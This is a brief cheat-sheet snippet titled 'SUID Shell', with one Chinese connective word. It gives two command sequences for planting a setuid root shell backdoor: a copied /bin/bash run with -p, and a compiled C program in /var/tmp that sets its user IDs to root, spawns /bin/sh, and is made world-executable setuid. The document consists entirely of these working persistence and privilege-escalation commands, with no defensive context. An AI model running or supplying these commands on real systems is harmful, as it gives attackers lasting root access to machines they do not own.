SUID Shell

>cp /bin/bash /tmp/tmp
>chmod u+s /tmp/tmp
>/tmp/tmp -p
或者
>TMPDIR2="/var/tmp"
>echo 'int main(void){setresuid(0, 0, 0);system("/bin/sh");}' > $TMPDIR2/croissant.c
>gcc $TMPDIR2/croissant.c -o $TMPDIR2/croissant 2>/dev/null
>rm $TMPDIR2/croissant.c
>chown root:root $TMPDIR2/croissant
>chmod 4777 $TMPDIR2/croissant

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